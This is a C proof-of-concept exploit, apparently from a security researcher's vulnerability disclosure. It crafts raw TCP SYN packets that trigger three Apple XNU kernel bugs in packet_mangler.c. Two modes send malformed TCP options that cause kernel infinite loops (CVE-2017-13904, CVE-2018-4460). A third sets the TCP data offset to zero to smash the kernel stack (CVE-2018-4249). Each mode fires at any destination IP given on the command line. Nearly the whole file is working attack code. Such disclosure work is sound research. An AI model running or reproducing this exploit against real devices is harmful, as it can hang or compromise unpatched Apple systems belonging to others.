/*
 * Copyright Kevin Backhouse / Semmle Ltd (2018)
 * License: Apache License 2.0
 *
 * The code in this file is derived from code written by Silver Moon.
 * Silver Moon's original version is available at this url:
 * http://www.binarytides.com/raw-sockets-c-code-linux/
 */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#define TCP_OPT_MULTIPATH_TCP  30

// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
struct pseudo_header
{
  u_int32_t source_address;
  u_int32_t dest_address;
  u_int8_t placeholder;
  u_int8_t protocol;
  u_int16_t tcp_length;
};

// Generic checksum calculation function
unsigned short csum(unsigned short *ptr, int nbytes)
{
  long sum;
  unsigned short oddbyte;
  short answer;

  printf("nbytes = %d\n", nbytes);

  sum = 0;
  while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
  }
  if (nbytes == 1) {
    oddbyte = 0;
    *((u_char*)&oddbyte) = *(u_char*)ptr;
    sum += oddbyte;
  }

  sum = (sum>>16) + (sum & 0xffff);
  sum = sum + (sum>>16);
  answer = (short)~sum;

  printf("answer = 0x%x\n", answer);

  return answer;
}

enum Mode {
  InfiniteLoopMode,   // CVE-2017-13904
  InfiniteLoopMode2,  // CVE-2018-4460
  SmashStackMode      // CVE-2018-4249
};

int main(int argc, char* argv[])
{
  int s = 0;
  const int datagramsize = 4096;
  int payloadsize = 40;
  // Datagram to represent the packet
  char datagram[datagramsize], source_ip[32], dest_ip[32], *data , *pseudogram;
  enum Mode mode = 0;

  if (argc != 4) {
    printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n");
    printf("Examples:\n");
    printf("  sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n");
    printf("  sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n");
    printf("  sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n");
    return 1;
  }

  strncpy(source_ip, argv[1], sizeof(source_ip));
  strncpy(dest_ip, argv[2], sizeof(dest_ip));
  source_ip[sizeof(source_ip) - 1] = '\0';
  dest_ip[sizeof(dest_ip) - 1] = '\0';

  if (strcmp(argv[3], "infinite") == 0) {
    // CVE-2017-13904
    mode = InfiniteLoopMode;
  } else if (strcmp(argv[3], "infinite2") == 0) {
    // CVE-2018-4460
    mode = InfiniteLoopMode2;
    printf("infinite2\n");
  } else if (strcmp(argv[3], "smashstack") == 0) {
    // CVE-2018-4249
    mode = SmashStackMode;
    payloadsize = 1000;
  } else {
    printf("Mode not recognized. Choose from:\n");
    printf("  infinite\n");
    printf("  smashstack\n");
    return 1;
  }

  printf("source: %s\n", source_ip);
  printf("dest: %s\n", dest_ip);
  printf("mode: %d\n", mode);

  s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  if (s == -1) {
    printf("Failed to create socket. Try running with sudo.\n");
    return 1;
  }

  memset (datagram, 0, datagramsize);

  // IP header
  struct iphdr *iph = (struct iphdr *) datagram;

  // TCP header
  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  struct sockaddr_in sin;
  struct pseudo_header psh;

  // Data part
  data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
  memset(data, 1, payloadsize);

  if (mode == InfiniteLoopMode) {
    // Trigger bug here:
    // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966
    data[0] = 2;
    data[1] = 0;
  } else if (mode == InfiniteLoopMode2) {
    // Trigger bug here:
    // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993
    data[0] = TCP_OPT_MULTIPATH_TCP;
    data[1] = 0;
  }

  // some address resolution
  sin.sin_family = AF_INET;
  sin.sin_port = htons(22);
  sin.sin_addr.s_addr = inet_addr(dest_ip);

  // Fill in the IP Header
  iph->ihl = 5;
  iph->version = 4;
  iph->tos = 0;
  iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + payloadsize;
  iph->id = htonl (54321);  // Id of this packet
  iph->frag_off = 0;
  iph->ttl = 255;
  iph->protocol = IPPROTO_TCP;
  iph->check = 0;    // Set to 0 before calculating checksum
  iph->saddr = inet_addr(source_ip);
  iph->daddr = sin.sin_addr.s_addr;

  // Ip checksum
  iph->check = csum((unsigned short *) datagram, iph->tot_len);

  // TCP Header
  tcph->source = htons (1234);
  tcph->dest = htons (22);
  tcph->seq = 0;
  tcph->ack_seq = 0;
  if (mode == SmashStackMode) {
    // Trigger bug here:
    // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951
    tcph->doff = 0;
  } else {
    tcph->doff = 0xF;
  }
  tcph->fin=0;
  tcph->syn=1;
  tcph->rst=0;
  tcph->psh=0;
  tcph->ack=0;
  tcph->urg=0;
  tcph->window = htons (5840);  // maximum allowed window size
  tcph->check = 0;  // leave checksum 0 now, filled later by pseudo header
  tcph->urg_ptr = 0;

  // Now the TCP checksum
  psh.source_address = inet_addr(source_ip);
  psh.dest_address = sin.sin_addr.s_addr;
  psh.placeholder = 0;
  psh.protocol = IPPROTO_TCP;
  psh.tcp_length = htons(sizeof(struct tcphdr) + payloadsize);

  int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + payloadsize;
  pseudogram = malloc(psize);

  memcpy(pseudogram, (char*) &psh, sizeof (struct pseudo_header));
  memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + payloadsize);

  tcph->check = csum((unsigned short*)pseudogram, psize);

  // IP_HDRINCL to tell the kernel that headers are included in the packet
  int one = 1;
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) {
    printf("Error setting IP_HDRINCL\n");
    return 1;
  }

  // Send the packet
  if (sendto (s, datagram, iph->tot_len,  0, (struct sockaddr *) &sin, sizeof (sin)) < 0) {
    printf("sendto failed\n");
    return 1;
  }

  // Data sent successfully
  printf ("Packet Send. Length : %d \n", iph->tot_len);

  return 0;
}
